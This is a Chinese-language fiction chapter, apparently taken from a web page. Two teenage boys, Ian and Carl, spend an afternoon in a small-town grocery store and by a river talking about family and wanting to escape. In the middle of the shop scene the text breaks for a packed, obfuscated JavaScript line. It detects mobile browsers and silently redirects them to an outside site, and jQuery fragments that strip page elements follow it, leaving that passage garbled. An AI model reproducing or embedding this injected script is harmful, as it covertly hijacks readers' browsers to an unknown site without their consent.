伊恩又来麦基斯波特了。


    周三下午学校只上半天课，凌把他送到医院，他在病房陪母亲坐了四十分钟。她今天状态不好，一直盯着窗户外面说话，说了很多，但他一句也没听懂。护工进来的时候，他站起来，把手从母亲的手腕上拿开。她的手腕很细，骨头硌手。


    走出医院，他没有去公交站。他在医院门口站了一会儿，风很大，吹得他头发往一边倒。他想起卡尔信里写的那些话——“康纳又停学了”“我爸昨天摔了个杯子”“河边冷，别来了”。前两封信都说“别来了”，但伊恩知道他写这句话的时候不是那个意思。他坐上了往西走的公交。


    到医院的时候是上午十一点，到麦基斯波特的时候已经快一点了。他在车上吃了凌给他装的三明治，面包有点干，火腿很咸，但比夏令营和食堂的好吃。下车的时候，他站在那条破街上，风灌进领口，他缩了一下脖子。


    他只知道卡尔家的地址，不知道杂货店在哪儿。上次来的时候卡尔带他走过那条主街，他记得那家小餐馆、五金店、二手家具店，但杂货店他没去过。他沿着街往镇子里面走，经过小餐馆的时候往里面看了一眼，几个老头坐着喝咖啡，有人朝他举了举杯子，他不认识，但还是点了点头。他走到街尾，没看见卡尔。他站在路口想了一会儿，然后转身往回走。


    经过那家五金店的时候，门开着，里面很暗，一个老头坐在柜台后面，抬头看了他一眼。伊恩停了一下。“请问，麦奇的杂货店怎么走？”


    老头往外一指：“往前走，过了餐馆，右手边。”


    伊恩道了谢，按他说的方向走。果然，在餐馆旁边那条巷子口，他看见一块旧招牌，上面写着“麦奇杂货”四个字，漆掉了一半，不仔细看根本看不出来。他推开门，铃铛响了一声。


    店里很暗，灯泡昏黄，货架挤在一起。他看见卡尔了。卡尔正蹲在地上拆纸箱，听见铃铛响，抬头，看见伊恩，愣了一下。他站起来，手里还拿着美工刀。


    “你怎么来了？”


    “看我妈。顺路。”


    卡尔看着他，没说话。“顺路”这个词上次用过了，这次再说，两个人都知道不是真的顺路。从医院到麦基斯波特，公交要一个半小时，再算上等车的时间，来回差不多四个小时。谁会用四个小时去“顺”一个路。


    麦奇从后面探出头来，看见伊恩，笑了。“哟，来了？上次你说要带来坐坐，还真带来了。”


    卡尔没接话。他把美工刀放下，拍了拍手上的灰。“等我一会儿，马上好。”


    伊恩点头。他站在柜台旁边，看着卡尔把箱子里的汽水一瓶一瓶摆上架子。卡尔摆得很慢，每一瓶都把标签转到正面朝外。伊恩看着他的手——手指很长，骨节分明，指甲剪得很短。手背手指上有几道浅浅的疤，不知道什么时候弄的。


    麦奇从后面走出来，手里拿着一沓货单。他看了看卡尔，又看了看伊恩，笑了一下。“你朋友话不多啊。”


    “嗯。”卡尔说。


    “跟你一样。”麦奇把货单放在柜台上，拍了拍卡尔的肩膀。“行，你招呼着，我后面歇会儿。”他走到后面去了。


    卡尔把最后一瓶汽水放好，把空箱子叠起来搬到后门。回来的时候，他脱了围裙，挂在柜台后面的钩子上。


    “走吧，”他说，“带你转转。”


    伊恩跟着他出了门。铃铛又响了一声。


    他们在街上走。天灰蒙蒙的，风比上次来的时候大了，吹得路边的落叶打转。伊恩走在他右边，卡尔走了一会儿才反应过来，绕到伊恩左边。伊恩看了他一眼，没说话。


    “你妈怎么样了？”卡尔问。


    “还是那样。今天一直在说话，但听不懂。”


    “说什么了？”


    “不知道。好像是在跟谁说话，不是跟我说。”伊恩停了一下。“护工说有时候就这样，她以为自己在别的地方，以为自己是别的人。”


    卡尔不知道该说什么。他想起自己小时候，他妈累倒住院那次，只住了几天就回来了。回来之后跟以前一样，上班，下班，睡觉。但不一样了。他说不上来哪儿不一样，就是不一样。伊恩他妈跟他妈不一样。他妈不会好。


    “你专门跑一趟，”卡尔说，“就为了来看你妈？”


    伊恩没回答。他低下头，看着路面上的裂缝。走了几步，才说：“也看你。”


    卡尔没说话。他把手插进口袋里，继续走。


    他们走到河边。河水比上次来的时候浑了一些，流得还是那么慢。岸边的草全枯了，趴在地上，灰黄一片。那根水泥管子还在，上面落了一层灰，有几个脚印，不知道谁踩的。卡尔坐上去，伊恩坐在他旁边。管子很凉，坐了一会儿屁股底下就冰了。


    “你刚才在店里，”卡尔说，“看我摆汽水看了半天。”


    “嗯。”


    “有什么好看的？”


    伊恩想了想。“你摆得很慢。”


    “摆快了怕放歪了。”


    “放歪了会怎么样？”


    卡尔看了他一眼。“不会怎么样。就是不好看。”


    伊恩没说话。他捡起一块小石头，在手里掂了掂，扔进河里。石头落进去，咚的一声，水花很小。


    “你上次说想去海边，”伊恩忽然说，“还想去吗？”


    卡尔愣了一下。那是夏令营时候的事了，在湖边，他随口说的。伊恩记住了。


    “想去。”他说。“但现在去不了。太远了，也没钱。”


    伊恩点头。他又捡了一块石头，这次扔得更远，落在河中央，水花大了一点。


    “你呢？”卡尔问。“你想去哪儿？”


    伊恩想了很久。久到卡尔以为他不会回答了。


    “不知道。”他说。“没想过。”


    “你不想出去看看？”


    伊恩没回答。他看着河面，河水流得很慢，偶尔漂过一片枯叶，转两圈，往下游去了。


    “想。”他说。“但出去了也不知道去哪儿。”


    卡尔没说话。他从水泥管子上跳下来，在岸边走了两步，捡起一块扁平的石头，侧着身子扔出去。石头在水面上弹了一下，两下，三下，沉下去了。


    “你什么时候学会的？”伊恩问。


    “小时候。康纳教的。”卡尔拍了拍手上的灰。“他以前什么都教我。打水漂，爬树，骑车。后来不教了。”


    “为什么？”


    “不知道。可能是长大了，不想理我了。”


    伊恩看着他。卡尔没看他，还看着河面。


    “你跟你弟，”伊恩说，“以前关系好？”


    “嗯。小时候睡上下铺，他睡下铺，我睡上铺。每天晚上他都要喊我好几遍，问我睡着了没有。我说没有，他就继续说。说到我睡着了为止。”卡尔停了一下。“后来不喊了。不知道从什么时候开始的，就不喊了。”


    伊恩没说话。他想起自己家里的两个妹妹，她们用嘴型说话，他从来不知道她们在说什么。不是她们不让他知道，是他进不去。她们之间有那个东西，他没有。


    “你跟你哥呢？”卡尔问。


    伊恩想了一会儿。“他管我。”


    “管你什么？”


    “管我头发，管我作业，管我吃什么东西。管我所有事。”


    “那你不想做的呢？”


    “也做。”


    卡尔看着他。伊恩的脸上没什么表情，和平时一样。但他的眼睛看着河面，没动。


    “你不想反抗？”卡尔问。


    伊恩想了很久。“不知道。没想过。”


    他们坐在河边，风吹过来，带着水的腥味和枯草的味道。河对岸有几只鸟，站在石头上，缩着脖子，一动不动。天越来越暗了，河面上的光越来越淡。


    “走吧，”卡尔站起来，“别冻着。”


    他们往回走。走到主街上的时候，卡尔看了看天。“还早，去店里坐坐？麦奇下午都在。”


    伊恩点头。


    他们推开杂货店的门，铃铛响了一声。麦奇正坐在柜台后面看报纸，抬头看见他们进来，把报纸放下。


    “回来了？河边冷吧？”


    “还行。”卡尔说。


    麦奇站起来，把位置让给卡尔。“那你看着，我后面歇会儿。”他拿起报纸，走到后面去了。


    卡尔站在收银机后面。伊恩站在柜台前面，看着那些货架。上次来的时候他没仔细看，这次他走得更慢，每一排都走过去，看到什么就拿起来看一看。洗衣粉，罐头，面包，电池。他拿起一盒电池，看了看背后的字，放回去。又拿起一卷胶带，捏了捏，放回去。


    “你找什么？”卡尔问。


    “没找什么。就是看看。”


    卡尔靠在柜台上，看着他。伊恩走到最后一排货架前面，停住了。那排货架上摆着一些杂货——蜡烛，火柴，绳子，还有几盒磁带。不是涅槃那种，是一些老歌的合集，封面已经褪色了。伊恩拿起一盒，看了看，放回去。


    他走回柜台前面。卡尔从柜台下面拉出一张凳子。“坐。”


    伊恩坐下。凳子有点矮，他坐着，下巴刚好够到柜台面。他低头看了看柜台玻璃下面压着的旧照片——麦奇年轻时候的，站在店门口，旁边站着一个女人。


    “那是谁？”伊恩问。


    “不知道。一直压在那儿。”


    伊恩没再问。他把下巴搁在柜台边上，看着那些货架。卡尔站在收银机后面，拿起抹布开始擦柜台。抹布是湿的，在玻璃上拖出一道水痕，很快就干了。


    “你每天都擦？”伊恩问。


    “嗯。麦奇说的，柜台要干净。”


    “擦了也看不出来。”


    卡尔笑了一下。“是。但他还是要我擦。”


    伊恩看着他笑。卡尔很少笑，但是和他在一起的时候经常笑。笑起来的时候和平时不一样。平时他脸上总有一种随时要吵架的表情，但笑起来的时候，那层东西就没了，露出底下的样子。伊恩说不清底下是什么，但比平时好看。


    卡尔擦完柜台，把抹布洗干净，搭在水龙头上。他靠在柜台上，看着伊恩。


    “你今天怎么找到这儿的？”他问。“上次没带你来过。”


    “问的人。五金店那个老头。”


    “他告诉你路了？”


    “嗯。他说‘往前走，过了餐馆，右手边’。”


    卡尔点头。“他认识你？”


    “不认识。我问他，他就说了。”


    卡尔没说话。他想象伊恩站在五金店门口，问一个不认识的老头路怎么走。伊恩话那么少，说一句话要想半天，但他问了。他问了路，找到了这家店。


    门口铃铛响了一声。


    两个人同时抬头。是个年轻男人，二十出头，穿着深灰色的西装，外面套了一件黑色的大衣。头发梳得很整齐，脸刮得很干净。他推门的时候，风跟着灌进来，吹得柜台上的报纸翘了一下。他手里拿着车钥匙——银色的，上面有一个标志，卡尔不认识。


    那人在店里转了一圈。皮鞋踩在地板上，每一步都很稳。他走过摆着罐头的那排货架，没停；走过摆着面包的那排，也没停。最后他在柜台对面的烟架前面站住，拿了一包烟，走到柜台前。


    卡尔站起来。


    那人从口袋里掏出钱包——黑色的，皮的，边角没有磨损。他打开钱包的时候，卡尔看见了。里面有一沓钞票，崭新的，叠得整整齐齐，一张压着一张，像刚从银行取出来的。他抽出一张，放在柜台上。


    卡尔把烟扫了一下，报了价，从收银机里找出零钱。那人接过钱，看都没看他一眼，转身走了。铃铛响了一声，门关上，风停了。


    店里又安静下来。


    卡尔坐回去，把那张钞票放进收银机。他看了一眼伊恩。伊恩还坐在那张矮凳上，看着门口的方向。


    “看见了吗？”卡尔说。


    伊恩点头。


    “他钱包里那沓钱，”卡尔说，“崭新的。我从来没见过那么多现金，就装在钱包里，随身带着。”


    伊恩没说话。


    “他比我大不了几岁，”卡尔说，“可能五六岁。”


    伊恩转过头看他。卡尔的手还放在收银机上，手指搭着按键。


    “你说他是干什么的？”卡尔问。


    “不知道。”


    卡尔把那张钞票在收银机里放好，关上抽屉。他拿起抹布，又开始擦柜台，明明刚才已经擦过了。他擦得很慢，把边边角角都擦到。


    “你知道吗，”他一边擦一边说，“我有时候想，以后会怎么样。”


    伊恩看着他。


    “想不出来。”卡尔说。“就是觉得，以后跟现在应该差不多。一样的街，一样的店，一样的人。”


    他把抹布放下，靠在柜台上。


    “但刚才那个人，”他说，“他跟我差不多年纪。他已经不一样了。”


    伊恩没说话。


    “你说他是怎么做到的？”卡尔问。


    “不知道。”


    “我也想那样。”卡尔说。他说完，自己愣了一下。他从来没跟任何人说过这句话。他甚至没跟自己说过。但刚才他说出来了。在伊恩面前。


    伊恩看着他。卡尔的脸在店里昏暗的灯光下看不太清，但他的眼睛很亮。


    “会的。”伊恩说。


    卡尔愣了一下。“你怎么知道？”


    伊恩没回答。他低下头，看着自己的手。他的手指放在膝盖上，动了一下，又不动了。


    “你刚才说的那些，”伊恩说，“一样的街，一样的店，一样的人。”


    卡尔等着他说下去。


    “你不想这样。”伊恩说。不是问句，是陈述句。


    卡尔没说话。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387496|200164||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    伊恩抬起头，看着卡尔。“你不想。”


    卡尔站在柜台后面，手指搭在收银机上。他看着伊恩的眼睛。伊恩的眼睛是深色的，在昏暗的灯光下几乎看不清瞳孔。但他的眼睛很认真。不是那种“我在安慰你”的认真，是那种“我在说一个我知道的事”的认真。


    “你怎么知道的？”卡尔问。


    伊恩想了很久。久到卡尔以为他不会回答了。


    “因为你跟我一样。”伊恩说。


    卡尔愣了一下。


    “你也不想待在那里，”伊恩说，“你也不想变成他们那样。”


    卡尔看着他。伊恩的脸上没什么表情，和平时一样。但他的眼睛不一样。里面有什么东西，卡尔没见过。


    “你怎么知道我想什么？”卡尔问。声音比刚才轻了。


    伊恩没回答。他看着卡尔，看了很久。然后他低下头，看着自己的手。


    “我不知道你想什么，”他说，“但我知道你不想待在这里。”


    他们站在柜台两边，隔着一段距离。店里的灯光昏黄，照在他们身上。门口偶尔有车经过，灯光从玻璃上滑过去，又暗了。谁也没说话。


    过了很久，伊恩先开口了。


    “你问过”他说，“要是没去夏令营，现在在干嘛。”


    卡尔看着他。


    “在家。”伊恩说。“上学，放学，吃饭，睡觉。站在走廊窗户边看操场。一个人。”


    他停了一下。


    “不会认识你。不会写信。不会坐一个半小时公交来这种地方。”


    卡尔没说话。


    “你也是。”伊恩说。“要是没去夏令营，你不会写信。不会有人来找你。不会有人问你以后想干什么。”


    卡尔站在柜台后面，手指搭在收银机上，没动。他想起夏令营的时候，他在本子上记伊恩笑了多少次。那些数字他记得很清楚。但他没跟伊恩说过。伊恩说了。说这些的时候，他的声音很平，和平时一样。但他说了。


    “你刚才问我怎么知道你想什么，”伊恩说，“我不知道。但我知道你不想待在这里。就像我知道我不想待在那里一样。”


    他抬起头，看着卡尔。


    “我不知道怎么出去。但我想出去。”


    “我们会一起出去”


    卡尔看着他。伊恩的眼睛很亮，在昏暗的店里，那点亮光很明显。不是高兴，也不是难过。像杂货店门口那盏路灯，周围全是黑的，就那一小团亮着。


    “我也是。”卡尔说。


    他们站在柜台两边，看着对方。谁也没说话。


    天快黑了。麦奇从后面出来，看见他们还站在那儿，笑了笑。


    “聊什么呢？天都黑了。”


    卡尔看了一眼墙上的钟，快五点半了。


    “没什么。”他说。他转头看伊恩。“车几点？”


    “六点。还有半个小时。”


    卡尔把围裙解下来，挂在柜台后面的钩子上。“走吧，送你去车站。”


    麦奇朝伊恩点了点头。“有空常来。”


    伊恩点头。


    他们走出杂货店。卡尔锁上门，两个人往公交站走。街上很暗，路灯亮了，昏黄的光落在地上，照出路面的裂缝。伊恩走在他右边，卡尔走在左边。两个人并排走着，谁也没说话。


    走到公交站牌下面，卡尔停下来。站牌是铁皮的，漆掉了大半，上面的字看不太清。风吹过来，伊恩缩了一下脖子。卡尔把外套的拉链往上拉了拉。


    “你下次来，”卡尔说，“提前说一声。我去车站接你。”


    “好。”


    他们站着等车。街尽头什么都没有，只有路灯的光，昏黄的一团。远处有车灯亮起来，越来越近，是公交。


    “那本书，”卡尔忽然说，“你上次说的那本。”


    伊恩看着他。


    “你找到了？”


    “嗯。凌帮我订的。下次带来。”


    卡尔点头。


    “你刚才在店里说的那些，”卡尔说，“你说你也不知道怎么出去。”


    伊恩看着他。


    “我也不知道。”卡尔说。“但你想出去。我也想。”


    他看着伊恩的眼睛。


    “那就够了。”


    车来了。绿色的，旧，车门开的时候吱呀一声。伊恩上车，找了个靠窗的位置坐下。车开动的时候，他往外看。卡尔还站在那儿，手插在口袋里，看着他。


    伊恩没挥手。卡尔也没挥。他们就隔着车窗看着对方。


    车拐过弯，看不见了。


    卡尔站了一会儿。风很大，吹得他外套的领子翻起来。他没翻回去，就那么站着。他想起伊恩在店里说的那些话。“你不想待在这里。”“你跟我一样。”“我不知道怎么出去。但我想出去。”


    他想起伊恩说这些的时候，眼睛很亮。在昏暗的店里，那点亮光很明显。


    他转身往回走。走了几步，又停下来，回头看了一眼。公交已经不见了，街尽头什么都没有。路灯照着空荡荡的马路，几只飞蛾在灯罩下面绕来绕去。


    他继续走。经过那家小餐馆，灯还亮着。经过二手家具店，卷帘门拉下来了。经过五金店，也关了。那条街走到底，拐个弯，就是回家的路。


    他走得比平时慢。脑子里还在想伊恩说的话。想他说“你不想待在这里”的时候，声音很平，和平时一样。但他听出来了。那不是“我猜你不想”，那是“我知道你不想”。就像伊恩知道他右眼看不清一样。不是猜的，是知道的。


    他推开家门。屋里还是那股味道。他爸在沙发上坐着，电视开着，声音很小。茶几上摆着两个空罐子，还有一个倒了，酒洒出来，洇湿了一小块。卡尔走过去，把倒了的罐子捡起来，扔进垃圾桶。


    他爸没看他。他走到楼梯口，他爸忽然开口了。


    “今天又来了？”


    卡尔停下来。“嗯。”


    他爸点点头。他没问别的，也没看卡尔。电视的光一闪一闪的，照在他脸上。


    卡尔上楼。回到自己房间，康纳不在，下铺空着。他爬上上铺，躺下来。天花板上那道裂缝还在。他盯着它，想着伊恩说的那些话。想他说“你跟我一样”。想他说“我不知道怎么出去，但我想出去”。


    他翻了个身，把脸对着墙。墙上的划痕还在，一道深一道浅。他伸出手，摸了一下。他想起夏令营的时候，他在树干上刻东西。伊恩看不懂，问是什么。他说“以后你会懂的”。现在他也不确定伊恩懂了没有。但他想，伊恩会懂的。有一天。


    他闭上眼睛。楼下，电视还开着。他爸还在沙发上。他想着伊恩现在应该到家了。坐一个半小时公交，到镇上，然后换车。凌会在车站等他。会问他吃饭没有，会给他开门。和他不一样。但他想，伊恩今天在店里说的那些话，他会记住。和那些数字一样，他会记住。